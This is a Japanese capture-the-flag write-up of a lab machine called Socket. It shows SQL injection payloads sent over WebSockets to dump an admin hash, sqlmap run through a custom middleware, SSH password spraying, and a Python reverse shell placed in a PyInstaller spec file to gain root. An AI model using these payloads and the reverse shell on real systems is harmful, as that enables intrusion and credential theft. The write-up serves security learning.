ippsecのビデオでSQL Injectionの手法が便利だと思いましたので、このWriteupを作りました。忘備録な内容ですが、役に立てればと思います。
TL;DR
以下が学べます。
- WebSocketsのSQL Injection (DatabaseはSQLite)
- Python - Reverse Engineering for pyinstaller-compiled binary
- Pyinstaller misconfiguration
Initial Recon
まずはtmuxを立ち上げて、環境変数を設定し、nmapを実行しています。
tmux new -s Socket -e RHOST=10.129.241.206 -e LHOST=10.10.14.127
nmap -sC -sV -p- -oA nmap/init $RHOST
Port 80は、qreader.htbにリダイレクトされます。Port 5789は、WebSocketsのようです。
HTTP (80)
/etc/hostsにqreader.htbを設定して、アクセスしてみます。
QRコードを読み込んで内容を解析したり、テキスト文を埋め込んでQRコードを作成したりするようなサイトのようです。色々試しましたが、何か特別出来そうな箇所は見当たりません。
上記のように、このサイトの最後にダウンロード出来るリンクがあります。このサイトのロジックを解析できるartifactが取得出来そうです。ダウンロードします。
QReader binary
解凍して、アプリを実行します。
unzip QReader_lin_v0.0.2.zip
cd app
./qreader
以下が実行結果となります。
おそらく、ウェブサイトと同じような機能を提供するのでしょう。
上記のアプリケーションの'About'をクリックし、'Version'か'Updates'を選択してみます。
コネクションエラーが発生しています。中身をテキストベースで見てみます。
strings ./qreader
以下が実行結果の一部のメッセージです。
PyInstallerでコンパイルされているようです。
ソースコードが見たいですね。ではそうしましょう。
Pyinstaller Extractor - pyinstxtractor
以下のツールで解析(というかファイルの抽出が)できそうです。
python pyinstxtractor/pyinstxtractor.py download/lin/app/qreader
以下が実行結果となります。
以下が抽出されたファイルとなります。.pyc拡張子がついたファイルが抽出されています。
.pycのファイルは、いくつかのツールでソースコードに変換することができます。ここでは、pycdcを利用します。
pycdc qreader_extracted/qreader.pyc
以下が実行結果となります。
ソースコードを見てみると、以下が確認できるはずです。
ws.qreader.htb:5789
ここにアクセスしていることが分かります。/etc/hostsにws.qreader.htbを付け加えると、このアプリケーションはエラーを出さなくなりました。
ソースコードをChatGPTに聞いてみました。
いまいちな回答ですが、injectionか何かは出来るのかもしれません。
どうするか。
WebSockets (5789)
幾つか方法を考えると、以下になるように思います。
- 直接サーバにアクセスするコードを書いて、成功・失敗を観察 (https://hyperbeast.es/socket-htb/)
- 上記に入力を受け付けるコードを追加して、成功・失敗を観察 (Official Writeup)
- コードを書かず、websocatツールを利用して、成功・失敗を観察 (https://www.youtube.com/watch?v=936WoTYYEnQ)
- HTTP通信からWebsocketsに変換するミドルウェアのコードを書いて、成功・失敗を観察
- 上記ミドルウェアからsqlmapを実行し、実行結果を取得
今回は1,3,4,5を検討してみます。
1) シンプルなPythonでのWeb Socket SQL Injection検査
import sys
from websocket import create_connection
import json
ws_host = 'ws://qreader.htb:5789'
VERSION = '0.0.2'
ws = create_connection(ws_host + '/version')
#ws.send(json.dumps({'version': VERSION}))
ws.send(json.dumps({'version': sys.argv[1]}))
result = ws.recv()
print(result)
ws.close()
以下を実行してみます。sqliteのSQLインジェクションについては、PortSwiggerサイト等を参照してください。https://portswigger.net/web-security/all-labs#sql-injection
# データベースのバージョン
python ws_request_simple.py '0.0.2" union select sqlite_version(),2,3,4-- -'
# {"message": {"id": "3.37.2", "version": 2, "released_date": 3, "downloads": 4}}
# テーブル名
python ws_request_simple.py '0.0.2" UNION SELECT group_concat(tbl_name),2,3,4 FROM sqlite_master-- -'
# {"message": {"id": "sqlite_sequence,versions,users,info,reports,answers", "version": 2, "released_date": 3, "downloads": 4}}
# コラム名
python ws_request_simple.py '0.0.2" UNION SELECT sql,2,3,4 FROM sqlite_master where name="users"-- -'
# {"message": {"id": "CREATE TABLE users (id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT, password DATE, role TEXT)", "version": 2, "released_date": 3, "downloads": 4}}
# データの取得
python ws_request_simple.py '0.0.2" UNION SELECT group_concat(username || ":" || password || ","),2,3,4 FROM users-- -'
# {"message": {"id": "admin:0c090c365fa0559b151a43e0fea39710,", "version": 2, "released_date": 3, "downloads": 4}}
adminのパスワードハッシュ値が見つかりました。
2) Websocatを利用したSQL Injection検査
これはippsecのビデオを見てなるほどと思ったテクニックです。Python Codeもいいですが、websocatもよいなと思いました。以下のサイトから、Kaliターミナル用をダウンロードします。
https://github.com/vi/websocat
https://github.com/vi/websocat/releases/download/v1.11.0/websocat_max.x86_64-unknown-linux-musl
下記のコマンドを実行します。websocatでWebSockets通信を実行し、watchコマンドでリアルタイムでモニタリングします。inputからJSONデータを取得します。
touch input
watch './websocat ws://qreader.htb:5789/version < input'
ターミナルを半分に区切って、viエディターでinputファイルの内容を変更し、随時保存(:w!)します。(あっどのエディターでもいいですよ)
vi input
--
{"version":"0.0.2"}
そうすると自動的に、watchコマンドがアップデイトしてくれます。
Every 2.0s: ./websocat ws://qreader.htb:5789/version < input kali: Fri Jul 21 15:52:45 2023
{"message": {"id": 2, "version": "0.0.2", "released_date": "26/09/2022", "downloads": 720}}
あとは上記と同じようなSQL Injectionペイロードを記述していきます。
# データベースのバージョン
{"version": "0.0.2\" union select sqlite_version(),2,3,4-- -"}
# テーブル名
{"version":"0.0.2\" UNION SELECT group_concat(tbl_name),2,3,4 from sqlite_master-- -"}
# コラム名
{"version":"0.0.2\" UNION SELECT sql,2,3,4 from sqlite_master where name='users' -- -"}
# データの取得
{"version":"0.0.2\" UNION SELECT group_concat(username || ':' || password || ','),2,3,4 from users -- -"}
気付いておられる方が多いと思いますが、JSONファイルの整合性を取るため、実際のリクエストでは(")ではなく、(\")を記述します。
最後のペイロードでは、以下のデータを取得できます。
Every 2.0s: ./websocat ws://qreader.htb:5789/version < input kali: Fri Jul 21 16:19:13 2023
{"message": {"id": "admin:0c090c365fa0559b151a43e0fea39710,", "version": 2, "released_date": 3, "downloads": 4}}
adminのパスワードハッシュ値が見つかりました。
3) HTTP to WebScokets MiddlewareとSQLMAPを利用したSQL Injection検査
以下のサイトが役に立ちそうです。
そのまま使えそうですが、上記のws_request_simple.pyにもありますが、エスケープ記号が、(') ではなく、(")でSQL Injectionを実行しているので、JSON フォーマットの整合性を持たせるために、エスケープしたダブルクォーテーションマーク(\")に変換させています。
{"version": "0.0.2' Union Select..."} このままだと動かない
{"version": "0.0.2\" Union Select..."} このように変換する
# ソースコード変更
message = unquote_plus(payload).replace("'",'\\"')
data = '{"version":"%s"}' % message
全体のPython Codeは以下になります。
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote_plus, urlparse
from websocket import create_connection
ws_server = "ws://qreader.htb:5789/version"
def send_ws(payload):
ws = create_connection(ws_server)
print (payload)
# Original
#message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
# For HTB Socket
message = unquote_plus(payload).replace("'",'\\"')
data = '{"version":"%s"}' % message
print (data)
ws.send(data)
resp = ws.recv()
ws.close()
if resp:
return resp
else:
return ''
def middleware_server(host_port,content_type="text/plain"):
class CustomHandler(SimpleHTTPRequestHandler):
def do_GET(self) -> None:
self.send_response(200)
try:
payload = urlparse(self.path).query.split('=',1)[1]
except IndexError:
payload = False
if payload:
content = send_ws(payload)
else:
content = 'No parameters specified!'
self.send_header("Content-type", content_type)
self.end_headers()
self.wfile.write(content.encode())
return
class _TCPServer(TCPServer):
allow_reuse_address = True
httpd = _TCPServer(host_port, CustomHandler)
httpd.serve_forever()
print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")
try:
middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
pass
ミドルウェアを立ち上げます。
python ws_middle.py
[+] Starting MiddleWare Server
[+] Send payloads in http://localhost:8081/?id=*
SQLMAPを実行します。
sqlmap -u "http://127.0.0.1:8081/version?version=0.0.2" --level 5 --risk 3 --batch --dbs --dump --flush-session
以下が実行結果となります。
adminのパスワードハッシュ値が見つかりました。
追記4) HTTP to WebScokets MiddlewareとBurp
1 から3の全てのソリューションはSQL Injectionの決め打ちだったので何で?と思われた方が多いはずです。実はもっとインタラクティブに検証を行い、そしてSQLMAPでも検証したいと考えました。実際まず、HTTP to WebScoketsの変換コードを作り、プロキシー化して、BURPでインタラクティブな検査を実施しました。
先のコードを実行します。
python ws_middle.py
[+] Starting MiddleWare Server
[+] Send payloads in http://localhost:8081/?id=*
BURPを立ち上げます。InterceptをONにしておきます。
CURLコマンドで、HTTPリクエストを出してみます。
curl 'http://127.0.0.1:8081/?id=1' --proxy 127.0.0.1:8080
BURPでインターセプト出来ました。
Repeaterへ送ります。
GETメッセージの後のパラメータを色々変化させて何か出来ないか探ります。
こんな感じも試してみました。但し'Invalid version!'のレスポンスが返ってきました。
SQL Injectionでは、こんな感じを試しています。
この後、SQLMAPで試そうとなりました。最終的に簡略化の為に、シンプルなPython Codeを書いて、SQL Injectionの実行という流れになるんだと思います。最初から脆弱性の決め打ちコードを書き始めるというのは神レベルかも。
Hash値のクラック
以下のサイトを利用しています。
SSHによるアクセス - username-anarchy & crackmapexec ssh
SSH以外どこにもアクセスできる場所がないので、SSHの総当たり攻撃を実施します。まずユーザ名ですが、SQLMAPで、以下のユーザ名候補があるので、これを利用します。
ユーザ名の作成は、以下を実施します。
username-anarchy Thomas Keller
thomas
thomaskeller
thomas.keller
thomaske
thomkell
thomask
t.keller
tkeller
kthomas
k.thomas
kellert
keller
keller.t
keller.thomas
tk
あと、mike, json,adminを追加して、攻撃してみます。以下がコマンドと実行結果です。
crackmapexec ssh $RHOST -u usernames.txt -p 'denjanjade122566'
SSH 10.129.228.216 22 10.129.228.216 [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1
SSH 10.129.228.216 22 10.129.228.216 [-] thomas:denjanjade122566 Authentication failed.
SSH 10.129.228.216 22 10.129.228.216 [-] thomaskeller:denjanjade122566 Authentication failed.
SSH 10.129.228.216 22 10.129.228.216 [-] thomas.keller:denjanjade122566 Authentication failed.
SSH 10.129.228.216 22 10.129.228.216 [-] thomaske:denjanjade122566 Authentication failed.
SSH 10.129.228.216 22 10.129.228.216 [-] thomkell:denjanjade122566 Authentication failed.
SSH 10.129.228.216 22 10.129.228.216 [-] thomask:denjanjade122566 Authentication failed.
SSH 10.129.228.216 22 10.129.228.216 [-] t.keller:denjanjade122566 Authentication failed.
SSH 10.129.228.216 22 10.129.228.216 [+] tkeller:denjanjade122566
tkellerでアクセス可能というのが分かりました。SSHでログインします。
ssh tkeller@10.129.228.216
Privilege Escalation - sudo -l
以下を実行します。
>sudo -l
Matching Defaults entries for tkeller on socket:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User tkeller may run the following commands on socket:
(ALL : ALL) NOPASSWD: /usr/local/sbin/build-installer.sh
>ls -al /usr/local/sbin/build-installer.sh
-rwxr-xr-x 1 root root 1096 Feb 17 11:41 /usr/local/sbin/build-installer.sh
/usr/local/sbin/build-installer.shを全てのユーザがパスワードなしでルート権限で実行できるとあります。ファイルを見てみてみます
cat /usr/local/sbin/build-installer.sh
#!/bin/bash
if [ $# -ne 2 ] && [[ $1 != 'cleanup' ]]; then
/usr/bin/echo "No enough arguments supplied"
exit 1;
fi
action=$1
name=$2
ext=$(/usr/bin/echo $2 |/usr/bin/awk -F'.' '{ print $(NF) }')
if [[ -L $name ]];then
/usr/bin/echo 'Symlinks are not allowed'
exit 1;
fi
if [[ $action == 'build' ]]; then
if [[ $ext == 'spec' ]] ; then
/usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
/home/svc/.local/bin/pyinstaller $name
/usr/bin/mv ./dist ./build /opt/shared
else
echo "Invalid file format"
exit 1;
fi
elif [[ $action == 'make' ]]; then
if [[ $ext == 'py' ]] ; then
/usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
/root/.local/bin/pyinstaller -F --name "qreader" $name --specpath /tmp
/usr/bin/mv ./dist ./build /opt/shared
else
echo "Invalid file format"
exit 1;
fi
elif [[ $action == 'cleanup' ]]; then
/usr/bin/rm -r ./build ./dist 2>/dev/null
/usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
/usr/bin/rm /tmp/qreader* 2>/dev/null
else
/usr/bin/echo 'Invalid action'
exit 1;
fi
buildのアクション部分を見ると、.specの拡張子があるファイルをPyInstallerでコンパイルし、./distと./buildのファイルを/opt/sharedに移動されています。ルートのSSHファイルを移動させるのもいいですが、今回はそのままPython Codeを実行します。spec等の詳細情報は以下のサイトを利用してください。
The spec file tells PyInstaller how to process your script. It encodes the script names and most of the options you give to the pyinstaller command. The spec file is actually executable Python code. PyInstaller builds the app by executing the contents of the spec file.
細かいspecの仕様は無視して、Python Codeのリバースシェルをspecファイルに書き込み、上記のスクリプトを実行してみます。
PyInstallerによるspecファイルのコンパイル && リバースシェル実行
Kaliのターミナルでnetcatで1234ポートをリスニングします。
nc -nlvp 1234
listening on [any] 1234 ...
SSHログインしたリモートホストから以下を実行します。リバースシェルは、以下のサイトで作成しました。
echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.32",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' > /dev/shm/root.spec
ls /dev/shm/root.spec
/dev/shm/root.spec
sudo /usr/local/sbin/build-installer.sh build /dev/shm/root.spec
86 INFO: PyInstaller: 5.6.2
86 INFO: Python: 3.10.6
89 INFO: Platform: Linux-5.15.0-67-generic-x86_64-with-glibc2.35
92 INFO: UPX is not available.
Kaliのターミナルを見ると、接続しています。
connect to [10.10.14.32] from (UNKNOWN) [10.129.228.216] 49074
root@socket:/home/tkeller#
root@socket:/home/tkeller# id
id
uid=0(root) gid=0(root) groups=0(root)
最後に
WebScoketsでもSQL Injectionは可能ですので、Inputの検証やサニタイジングは必要です。
また、PyInstallerのビルドのスクリプトを作る時は、specファイルが書き込めるディレクトリを制限しておきましょう。まあ公開サーバにこんなスクリプトを置いておき、全ユーザが実行できる設定をしてる管理者が間違っていますが。。。
最後の方になって、実際こんな設定はありえなだろう/ちょっと違うのでは?と思わせるBOXでした。次に期待したいです。
ハッピーハッキング!